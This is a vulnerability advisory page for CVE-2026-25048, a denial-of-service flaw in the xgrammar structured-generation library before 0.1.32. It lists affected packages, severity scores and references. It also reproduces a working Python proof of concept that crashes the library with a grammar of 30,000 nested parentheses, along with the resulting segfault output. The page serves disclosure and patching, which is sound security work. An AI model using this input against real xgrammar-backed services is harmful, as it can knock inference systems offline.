8.7high
xgrammar: Multi-layer nesting causes DoS
- Severity
- 8.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 1.35% (higher than 72% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-7rgv-gqhr-fxg3PYSEC-2026-2322
Description
xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| mlc-ai xgrammar | < 0.1.32, before 0.1.32 | CVE List, NVD |
| rhaiis/vllm-cuda-rhel9 | Not specified Not affected: from 1774351144 before * | CVE List |
| rhaiis/model-opt-cuda-rhel9 | Not specified Not affected: from 1774547384 before * | CVE List |
| rhaiis/vllm-rocm-rhel9 | Not specified Not affected: from 1775252598 before * | CVE List |
| rhoai/odh-vllm-gaudi-rhel9 | Not specified Not affected: from 1780069069 before * | CVE List |
| rhoai/odh-vllm-cuda-rhel9 | Not specified Not affected: from 1783998774 before * | CVE List |
| rhoai/odh-vllm-rocm-rhel9 | Not specified Not affected: from 1783998857 before * | CVE List |
| rhaiis/vllm-tpu-rhel9 | Not specified | CVE List |
| rhelai3/bootc-aws-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-azure-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-cuda-rhel9 | Not specified | CVE List |
| rhelai3/bootc-gcp-cuda-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-agent-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-controller-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-router-rhel9 | Not specified | CVE List |
| rhoai/odh-kserve-storage-initializer-rhel9 | Not specified | CVE List |
| xgrammar (PyPI) | before 0.1.32 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| redhat-SADP | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| PyPA Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.
GitHub Advisory Database
Summary
The multi-level nested syntax caused a segmentation fault (core dump).
Details
A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.
PoC
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""
import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig
s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"
def main():
device = "cuda" if torch.cuda.is_available() else "cpu"
model_name = "Qwen/Qwen2.5-0.5B-Instruct"
# Load model
model = AutoModelForCausalLM.from_pretrained(
model_name,
torch_dtype=torch.float16 if device == "cuda" else torch.float32,
device_map=device
)
tokenizer = AutoTokenizer.from_pretrained(model_name)
config = AutoConfig.from_pretrained(model_name)
# Math expression grammar
math_grammar = grammar
# Setup
tokenizer_info = xgr.TokenizerInfo.from_huggingface(
tokenizer,
vocab_size=config.vocab_size
)
compiler = xgr.GrammarCompiler(tokenizer_info)
compiled_grammar = compiler.compile_grammar(math_grammar)
# Generate
prompt = "Math: "
inputs = tokenizer(prompt, return_tensors="pt").to(device)
xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
output_ids = model.generate(
**inputs,
max_new_tokens=50,
logits_processor=[xgr_processor]
)
result = tokenizer.decode(
output_ids[0][len(inputs.input_ids[0]):],
skip_special_tokens=True
)
print(f"Generated expression: {result}")
if __name__ == "__main__":
main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page:
Author: MLC Team
Author-email:
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by:
> python3 1.py
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
Impact
DoS
NVD (es)
xgrammar es una biblioteca de código abierto para una generación estructurada eficiente, flexible y portátil. Antes de la versión 0.1.32, la sintaxis anidada multinivel causaba un fallo de segmentación (volcado de memoria principal). Este problema ha sido parcheado en la versión 0.1.32.
References
| https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3 | evidence, exploit, vendor-advisory, web | |
| https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32 | advisory, release-notes, web | |
| https://access.redhat.com/security/cve/CVE-2026-25048 | vdb-entry, web | |
| https://bugzilla.redhat.com/show_bug.cgi?id=2444840 | issue-tracking, report | |
| https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.json | web | |
| https://access.redhat.com/errata/RHSA-2026:6761 | advisory, vendor-advisory | |
| https://access.redhat.com/errata/RHSA-2026:5809 | advisory, vendor-advisory | |
| https://access.redhat.com/errata/RHSA-2026:6762 | advisory, vendor-advisory | |
| https://access.redhat.com/errata/RHSA-2026:42644 | vendor-advisory | |
| https://access.redhat.com/errata/RHSA-2026:24977 | advisory, vendor-advisory | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-25048 | advisory | |
| https://github.com/mlc-ai/xgrammar | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-25048 changed 2026-07-21 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-7rgv-gqhr-fxg3 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-25048 changed 2026-07-21 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2322 changed 2026-07-13 | CC-BY-4.0 |